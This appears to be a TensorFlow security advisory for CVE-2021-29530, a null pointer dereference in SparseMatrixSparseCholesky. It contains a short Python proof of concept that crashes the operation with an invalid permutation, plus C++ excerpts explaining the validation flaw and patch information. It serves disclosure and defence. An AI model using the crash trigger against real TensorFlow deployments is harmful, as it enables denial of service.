CVE-2021-29530: Invalid validation in `SparseMatrixSparseCholesky`

Impact An attacker can trigger a null pointer dereference by providing an invalid permutation to tf.rawops.SparseMatrixSparseCholesky:

python import tensorflow as tf import numpy as np from tensorflow.python.ops.linalg.sparse import sparsecsrmatrixops

indicesarray = np.array([[0, 0]]) valuearray = np.array([-10.0], dtype=np.float32) denseshape = [1, 1] st = tf.SparseTensor(indicesarray, valuearray, denseshape)

input = sparsecsrmatrixops.sparsetensortocsrsparsematrix( st.indices, st.values, st.denseshape)

permutation = tf.constant([], shape=[1, 0], dtype=tf.int32) tf.rawops.SparseMatrixSparseCholesky(input=input, permutation=permutation, type=tf.float32)

This is because the implementation fails to properly validate the input arguments: cc void Compute(OpKernelContext ctx) final { ... const Tensor& inputpermutationindices = ctx->input(1); ... ValidateInputs(ctx, inputmatrix, inputpermutationindices, &batchsize, &numrows); ... }

void ValidateInputs(OpKernelContext ctx, const CSRSparseMatrix& sparsematrix, const Tensor& permutationindices, int batchsize, int64 numrows) { OPREQUIRES(ctx, sparsematrix.dtype() == DataTypeToEnum<T>::value, ...) ... } Although ValidateInputs is called and there are checks in the body of this function, the code proceeds to the next line in ValidateInputs since OPREQUIRES is a macro that only exits the current function.

cc #define OPREQUIRES(CTX, EXP, STATUS) \ do { \ if (!TFPREDICTTRUE(EXP)) { \ CheckNotInComputeAsync((CTX), "OPREQUIRESASYNC"); \ (CTX)->CtxFailure(FILE, LINE, (STATUS)); \ return; \ } \ } while (0)

Thus, the first validation condition that fails in ValidateInputs will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check context->status() or to convert ValidateInputs to return a Status.

Patches We have patched the issue in GitHub commit e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.